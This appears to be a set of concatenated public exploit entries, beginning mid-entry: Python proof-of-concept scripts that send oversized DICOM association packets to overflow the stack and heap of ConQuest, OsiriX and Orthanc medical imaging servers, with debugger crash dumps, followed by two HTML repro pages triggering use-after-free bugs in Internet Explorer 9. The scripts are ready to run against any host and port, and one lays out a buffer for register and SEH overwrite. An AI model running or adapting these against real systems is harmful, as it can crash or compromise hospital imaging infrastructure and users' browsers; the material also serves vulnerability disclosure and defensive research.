# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D: 
# D: Parsing an A-ASSOCIATE PDU
# [1]    25553 segmentation fault  ./storescp -d 4242
# ➜  bin  
#
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#            MacOS X 10.12.2 Sierra
#            Linux Ubuntu 14.04.5
#            FreeBSD 10.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5384
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php
#
#
# 22.11.2016
#


import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE
#
#
# Vendor: University of Manchester. Developed by Marcel van Herk, Lambert Zijp and Jan Meinders. The Netherlands Cancer Institute
# Product web page: https://ingenium.home.xs4all.nl/dicom.html | http://dicom.nema.org
# Affected version: 1.4.17d
#                   1.4.19beta3a
#                   1.4.19beta3b
#
# Summary: A full featured DICOM server has been developed based on the public
# domain UCDMC DICOM code. Some possible applications of the Conquest DICOM software
# are: DICOM training and testing; Demonstration image archives; Image format conversion
# from a scanner with DICOM network access; DICOM image slide making; DICOM image selection
# and (limited) editing; Automatic image forwarding and (de)compression.
#
# The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# ------------------------------------------------------------------------------
# 0:002> g
# (820.fc4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> r
# rax=0000000044444444 rbx=000000000298c910 rcx=4242424242424242
# rdx=000001400046001a rsi=0000000000001105 rdi=000000000041dc50
# rip=000000013fe09a29 rsp=000000000298b840 rbp=000000000298e8e4
#  r8=000000000041dc40  r9=0000000000000402 r10=0000000000000281
# r11=0000013f004a0019 r12=0000000000003eb7 r13=0000000000000000
# r14=0000000000000000 r15=000000000298c910
# iopl=0         nv up ei pl nz na po nc
# cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> u
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8]
# 00000001`3fe09a2d 488b4110        mov     rax,qword ptr [rcx+10h]
# 00000001`3fe09a31 4885d2          test    rdx,rdx
# 00000001`3fe09a34 7406            je      dgate64+0xb9a3c (00000001`3fe09a3c)
# 00000001`3fe09a36 48894210        mov     qword ptr [rdx+10h],rax
# 00000001`3fe09a3a eb04            jmp     dgate64+0xb9a40 (00000001`3fe09a40)
# 00000001`3fe09a3c 48894328        mov     qword ptr [rbx+28h],rax
# 00000001`3fe09a40 488b5110        mov     rdx,qword ptr [rcx+10h]
# 0:002> 
# dgate64+0xb9a44:
# 00000001`3fe09a44 488b4108        mov     rax,qword ptr [rcx+8]
# 00000001`3fe09a48 4885d2          test    rdx,rdx
# 00000001`3fe09a4b 7406            je      dgate64+0xb9a53 (00000001`3fe09a53)
# 00000001`3fe09a4d 48894208        mov     qword ptr [rdx+8],rax
# 00000001`3fe09a51 eb04            jmp     dgate64+0xb9a57 (00000001`3fe09a57)
# 00000001`3fe09a53 48894330        mov     qword ptr [rbx+30h],rax
# 00000001`3fe09a57 ba18000000      mov     edx,18h
# 00000001`3fe09a5c e804caf4ff      call    dgate64+0x6465 (00000001`3fd56465)
# 0:002> kb e
#  # RetAddr           : Args to Child                                                           : Call Site
# 00 00000001`3fe104d2 : 00000000`00457a28 00000000`00008014 00000000`0298b8d9 00000000`00000000 : dgate64+0xb9a29
# 01 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : dgate64+0xc04d2
# 02 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 03 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 04 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 05 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 06 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 07 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 08 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 09 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0a 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0b 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0c 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0d 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0:002> !exchain
# 100 stack frames, scanning for handlers...
# Frame 0x01: dgate64+0xc04d2 (00000001`3fe104d2)
#   ehandler dgate64+0x552e (00000001`3fd5552e)
# Frame 0x02: error getting module for 4141414141414141
# Frame 0x03: error getting module for 4141414141414141
# Frame 0x04: error getting module for 4141414141414141
# Frame 0x05: error getting module for 4141414141414141
# Frame 0x06: error getting module for 4141414141414141
# Frame 0x07: error getting module for 4141414141414141
# Frame 0x08: error getting module for 4141414141414141
# Frame 0x09: error getting module for 4141414141414141
# Frame 0x0a: error getting module for 4141414141414141
# Frame 0x0b: error getting module for 4141414141414141
# Frame 0x0c: error getting module for 4141414141414141
# Frame 0x0d: error getting module for 4141414141414141
# Frame 0x0e: error getting module for 4141414141414141
# Frame 0x0f: error getting module for 4141414141414141
# Frame 0x10: error getting module for 4141414141414141
# Frame 0x11: error getting module for 4141414141414141
# Frame 0x12: error getting module for 4141414141414141
# Frame 0x13: error getting module for 4141414141414141
# Frame 0x14: error getting module for 4141414141414141
# Frame 0x15: error getting module for 4141414141414141
# Frame 0x16: error getting module for 4141414141414141
# ...
# ...
# Frame 0x61: error getting module for 4141414141414141
# Frame 0x62: error getting module for 4141414141414141
# Frame 0x63: error getting module for 4141414141414141
# 0:002> g
#
# STATUS_STACK_BUFFER_OVERRUN encountered
# (820.fc4): Break instruction exception - code 80000003 (first chance)
# kernel32!UnhandledExceptionFilter+0x71:
# 00000000`7796bb21 cc              int     3
# 0:002> g
# ntdll!ZwWaitForSingleObject+0xa:
# 00000000`77a3bb7a c3              ret
#
# ------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#            Linux Ubuntu 14.04.5
#            Solaris 10
#            macOS/10.12.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5383
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5383.php
#
# 
# 22.11.2016
#


import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

# 33406 bytes
buffer  = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
buffer += '\x42' * 8 # RCX = 4242424242424242
buffer += '\x43' * 8 # defiler ;]
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
buffer += '\x45' * 12429

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

print 'Sending '+str(len(buffer))+' bytes of data!'

if len(sys.argv) < 3:
	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(17)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption Vulnerability
#
#
# Vendor: Pixmeo Sarl
# Product web page: http://www.osirix-viewer.com
# Affected version: OsiriX 8.0.1
#
# Summary: With high performance and an intuitive interactive user interface, OsiriX MD is
# the most widely used DICOM viewer in the world. It is the result of more than 10 years of
# research and development in digital imaging. It fully supports the DICOM standard for an
# easy integration in your workflow environment and an open platform for development of
# processing tools. It offers advanced post-processing techniques in 2D and 3D, exclusive
# innovative technique for 3D and 4D navigation and a complete integration with any PACS.
# OsiriX MD supports 64-bit computing and multithreading for the best performances on the
# most modern processors. OsiriX MD is certified for medical use, FDA cleared and CE II labeled.
#
# Summary2: OsiriX is an image processing application for Mac dedicated to DICOM images
# (".dcm" / ".DCM" extension) produced by equipment (MRI, CT, PET, PET-CT, ...).
# Osirix is complementary to existing viewers, in particular to nuclear medicine viewers.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# -------------------------------------------------------------------------------------
#
# (lldb)  
# Process 65202 stopped
# * thread #20: tid = 0x2c5fcc, 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fb5af00fda1)
#     frame #0: 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
# OsiriX Lite`parseAssociate:
# ->  0x108978441 <+833>: movzbl (%r10), %eax
#     0x108978445 <+837>: cmpl   $0x40, %eax
#     0x108978448 <+840>: movq   -0x200(%rbp), %rcx
#     0x10897844f <+847>: je     0x108978513               ; <+1043>
# (lldb) bt
# * thread #19: tid = 0x2f6189, 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fab8ac000a1)
#   * frame #0: 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
#     frame #1: 0x0000000102fe4363 OsiriX Lite`AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) + 339
#     frame #2: 0x0000000102fe14ca OsiriX Lite`PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) + 314
#     frame #3: 0x0000000102fdae9c OsiriX Lite`DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) + 4348
#     frame #4: 0x0000000102facf1e OsiriX Lite`ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned int*, bool, DUL_BLOCKOPTIONS, int) + 462
#     frame #5: 0x0000000102c5f28f OsiriX Lite`DcmQueryRetrieveSCP::waitForAssociation(T_ASC_Network*) + 207
#     frame #6: 0x0000000102c3f9c7 OsiriX Lite`-[DCMTKQueryRetrieveSCP run] + 4999
#     frame #7: 0x0000000102987a37 OsiriX Lite`-[AppController startSTORESCP:] + 519
#     frame #8: 0x00007fff975b030d Foundation`__NSThread__start__ + 1243
#     frame #9: 0x00007fffab021aab libsystem_pthread.dylib`_pthread_body + 180
#     frame #10: 0x00007fffab0219f7 libsystem_pthread.dylib`_pthread_start + 286
#     frame #11: 0x00007fffab021221 libsystem_pthread.dylib`thread_start + 13
# (lldb) register read
# General Purpose Registers:
#        rax = 0x0000000000000103
#        rbx = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        rcx = 0x00006100002e6200
#        rdx = 0x000000000001ad41
#        rdi = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        rsi = 0x00006100002e6200
#        rbp = 0x0000700005a4a670
#        rsp = 0x0000700005a4a420
#         r8 = 0x0000000000000103
#         r9 = 0x00000000fb40cfc6
#        r10 = 0x00007fab8ac000a1
#        r11 = 0x0000000000000041
#        r12 = 0x0000700005a4a6b8
#        r13 = 0x00000001044c18f0  OsiriX Lite`EC_Normal
#        r14 = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        r15 = 0x0000000000008014
#        rip = 0x0000000102fe8441  OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
#     rflags = 0x0000000000010286
#         cs = 0x000000000000002b
#         fs = 0x0000000000000000
#         gs = 0x0000000000000000
#
# -------------------------------------------------------------------------------------
#
# Tested on: OS X 10.12.2 (Sierra)
#            OS X 10.12.1 (Sierra)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5382
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5382.php
#
# https://tools.ietf.org/html/rfc3240
# https://github.com/commontk/DCMTK/commit/1b6bb76
#
# 29.11.2016
#


import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
  print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
  print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
  sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
# Orthanc DICOM Server 1.1.0 Remote Memory Corruption Vulnerability
#
#
# Vendor: Sébastien Jodogne
# Product web page: http://www.orthanc-server.com
# Affected version: 1.1.0 
#
# Summary: Orthanc is a Belgian, open-source, lightweight RESTful DICOM server
# for healthcare and medical research with an ubiquitous web interface that
# enables you to upload, receive and transfer DICOM images. It comes with
# a REST API to automate imaging flows and an SDK to integrate with native
# applications.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection
# of libraries that are part of DCMTK Toolkit, specifically the parser for the
# DICOM Upper Layer Protocol or DUL. Stack/Heap Buffer overflow/underflow can be
# triggered when sending and processing wrong length of ACSE data structure received
# over the network by the DICOM Store-SCP service. An attacker can overflow the stack
# and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote
# code execution and/or denial of service scenario.
#
# -------------------------------------------------------------------------------
#
# ==5299== Memcheck, a memory error detector
# ==5299== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
# ==5299== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
# ==5299== Command: ./Orthanc
# ==5299== 
# W1201 17:35:34.724792 main.cpp:1235] Orthanc version: mainline (20161129T150442)
# W1201 17:35:34.804810 main.cpp:1092] Performance warning: Non-release build, runtime debug assertions are turned on
# W1201 17:35:35.042122 OrthancInitialization.cpp:125] Reading the configuration from: "/home/lqwrm/Subversion/orthanc/Resources/Configuration.json"
# W1201 17:35:35.272799 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/dicom.dic"
# W1201 17:35:35.905845 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/private.dic"
# W1201 17:35:36.407249 OrthancInitialization.cpp:488] Registering JPEG Lossless codecs
# W1201 17:35:36.417571 OrthancInitialization.cpp:493] Registering JPEG codecs
# W1201 17:35:36.846619 OrthancInitialization.cpp:986] SQLite index directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage"
# W1201 17:35:36.999809 OrthancInitialization.cpp:1056] Storage directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage"
# W1201 17:35:38.247567 LuaContext.cpp:103] Lua says: Lua toolbox installed
# W1201 17:35:38.319095 ServerScheduler.cpp:134] The server scheduler has started
# W1201 17:35:38.332937 HttpClient.cpp:680] No certificates are provided to validate peers, set "HttpsCACertificates" if you need to do HTTPS requests
# W1201 17:35:38.345479 ServerContext.cpp:181] Disk compression is disabled
# W1201 17:35:38.358374 ServerIndex.cpp:1392] No limit on the number of stored patients
# W1201 17:35:38.361704 ServerIndex.cpp:1409] No limit on the size of the storage area
# W1201 17:35:38.688634 main.cpp:822] DICOM server listening with AET ORTHANC on port: 4242
# W1201 17:35:38.715241 MongooseServer.cpp:887] This version of OpenSSL is vulnerable to the Heartbleed exploit
# W1201 17:35:38.721902 MongooseServer.cpp:1027] HTTP compression is enabled
# W1201 17:35:38.887721 main.cpp:757] HTTP server listening on port: 8042
# W1201 17:35:38.890026 main.cpp:644] Orthanc has started
# ==5299== Thread 11:
# ==5299== Invalid read of size 1
# ==5299==    at 0x5ECEBD: parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) (dulparse.cc:389)
# ==5299==    by 0x5EC6A0: parseAssociate(unsigned char*, unsigned long, dul_associatepdu*) (dulparse.cc:234)
# ==5299==    by 0x5E0131: AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) (dulfsm.cc:1158)
# ==5299==    by 0x5DF125: PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) (dulfsm.cc:750)
# ==5299==    by 0x56DF26: DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) (dul.cc:669)
# ==5299==    by 0x56B440: ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned long*, bool, DUL_BLOCKOPTIONS, int) (assoc.cc:1752)
# ==5299==    by 0x4494B5: Orthanc::Internals::AcceptAssociation(Orthanc::DicomServer const&, T_ASC_Network*) (CommandDispatcher.cpp:439)
# ==5299==    by 0x42D010: Orthanc::DicomServer::ServerThread(Orthanc::DicomServer*) (DicomServer.cpp:69)
# ==5299==    by 0x43198B: void boost::_bi::list1<boost::_bi::value<Orthanc::DicomServer*> >::operator()<void (*)(Orthanc::DicomServer*), boost::_bi::list0>(boost::_bi::type<void>, void (*&)
#
# -------------------------------------------------------------------------------
#
# (47fc.40cc): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\orthancAndPluginsWin32.stable\Orthanc.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\orthancAndPluginsWin32.stable\Orthanc.exe
# eax=000000ce ebx=ffffc99c ecx=0074ae50 edx=013e3060 esi=018cf094 edi=010090ab
# eip=0136c910 esp=0389eca8 ebp=0389ece8 iopl=0         nv up ei ng nz na pe nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
# Orthanc+0xfc910:
# 0136c910 8a07            mov     al,byte ptr [edi]          ds:002b:010090ab=??
#
# -------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#            Ubuntu Linux/14.04.5
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5380
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5380.php
#
# Vendor: https://bitbucket.org/sjodogne/orthanc/commits/6ac6193a7935865db07d3d81c627c84de7557ce0?at=default
#         https://bitbucket.org/sjodogne/orthanc/src/Orthanc-1.2.0/NEWS?fileviewer=file-view-default
# 
# OFFIS e.V.: https://github.com/commontk/DCMTK/commit/1b6bb76
#
#
# 22.11.2016
#


import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
<!--

Source: http://blog.skylined.nl/20161214001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability, though their advisory mentions an iframe, which is not in the repro I provided. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <script>
    document.add­Event­Listener("load", function (){
      document.document­Element.remove­Node(true);
    }, true);
    document.add­Event­Listener("DOMNode­Removed", function (){
      document.write("");
    }, true);
  </script>
  <style>
  </style>
  <span dir="rtl">
    <ruby dir="ltr">
      <br/>
    </ruby>
  </span>
</html>

<!--
Time-line

Sometime in November 2012: This vulnerability was found through fuzzing.
11 November 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
26 July 2013: This vulnerability was address by Microsoft in MS13-055.
14 December 2016: Details of this vulnerability are released.
-->
            
<!--

Source: http://blog.skylined.nl/20161213001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. During a method call, the this object can be freed and then continues to be used by the code that implements the method. It appears that there is little to no time for an attacker to attempt to control the contents of the freed memory before the re-use, which would allow remote code execution.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Repro.html:
-->

<!DOCTYPE>
<script defer>
  document.design­Mode = "on";
</script>
<q dir="ltr">
<ruby dir="rtl">

<!--
Details

By switching the a document's design­Mode property to on in a deferred script, MSIE 9 can be made to reload a web page using CMarkup::Reload­In­Compat­View. This method calls CDoc::Compat­View­Refresh, which indirectly calls CScript­Collection::~CScript­Collection, which releases the CMarkup object used as this in CMarkup::Reload­In­Compat­View. The relevant stack for the freeing of this CMarkup object is:

    76e8c484 kernel32!Heap­Free+0x00000014
    6780c4d8 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
    6776fb9b MSHTML!CScript­Collection::~CScript­Collection+0x00000152
    67816a0d MSHTML!CScript­Collection::Release+0x00000053
    6751f7e7 MSHTML!CWindow::Super­Navigate­Internal+0x000004c4
    675209f7 MSHTML!CWindow::Super­Navigate2With­Bind­Flags+0x00000032
    679b05f8 MSHTML!CDoc::Compat­View­Refresh+0x000000a0
    679c00d4 MSHTML!CMarkup::Reload­In­Compat­View+0x0000021f

Immediately after returning to CMarkup::Reload­In­Compat­View, the code will use the (now freed) CMarkup object. When page heap is enabled, this lead to an immediate access violation.

Exploit

I did not immediately find a way to control the freed memory before the reuse following the CDoc::Compat­View­Refresh call. I did not immediately find other locations in the code where the same stale pointer to the CMarkup object is used after it has been freed. It may not be possible to exploit this use-after-free, as there does not appear to be an easy window of opportunity to modify the freed memory before its reuse.

However, when loading the repro in MSIE with page heap disabled, I do see crashes from time to time, but in different locations in the code. This indicates that one or more of the following should be true:

There are ways to modify the freed CMarkup object before it is reused.
There are other locations where the freed CMarkup object is used after it has been freed, and the freed CMarkup object can be modified before this happens.
